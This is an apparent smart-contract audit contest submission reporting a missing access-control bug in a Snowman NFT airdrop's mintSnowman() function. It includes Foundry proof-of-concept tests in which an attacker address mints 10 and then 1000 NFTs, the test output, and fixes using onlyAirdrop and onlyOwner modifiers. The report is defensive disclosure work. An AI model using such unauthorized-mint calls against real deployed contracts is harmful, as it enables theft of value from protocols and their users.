Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Missing Access Control on Snowman NFT Minting

Root + Impact

The mintSnowman() function in Snowman.sol lacks access control. It can be called by any external address without verifying that the caller is the SnowmanAirdrop contract. There is no onlyAirdrop modifier or ownership check.

Description

  • The mintSnowman function is intended to be called only by the SnowmanAirdrop contract when users stake their Snow tokens to receive Snowman NFTs.

  • The function has no access control, allowing anyone to mint unlimited NFTs to any address.

Risk

Likelihood:

  • Any user can directly call mintSnowman() to mint NFTs for themselves without owning any Snow tokens.

Impact:

  • Attacker can mint unlimited Snowman NFTs for free

  • Completely undermines the airdrop mechanism

  • NFT supply becomes unbounded and meaningless

  • Financial loss to the protocol (NFTs have value)

Proof of Concept

function testBug1_MissingAccessControlOnMintSnowman() public {
vm.prank(attacker);
snowman.mintSnowman(attacker, 10);
assertEq(snowman.balanceOf(attacker), 10);
// Attacker minted 10 NFTs without any Snow tokens!

Explanation:

  1. The attacker has 0 Snow tokens (verified)

  2. The attacker calls snowman.mintSnowman(attacker, 10) directly

  3. Since there's no onlyAirdrop modifier, the call succeeds

  4. The attacker receives 10 Snowman NFTs for free

  5. This bypasses the entire Snow token staking mechanism

Recommended Mitigation

Add an access control modifier to restrict minting only to the airdrop contract:

address public immutable i_airdrop;
constructor(string memory _SnowmanSvgUri, address _airdrop) ERC721("Snowman Airdrop", "SNOWMAN") Ownable(msg.sender) {
s_TokenCounter = 0;
s_SnowmanSvgUri = _SnowmanSvgUri;
i_airdrop = _airdrop;
}
modifier onlyAirdrop() {
if (msg.sender != i_airdrop) {
revert SM__NotAllowed();
}
_;
}
function mintSnowman(address receiver, uint256 amount) external onlyAirdrop {
// ... existing implementation
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 5 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

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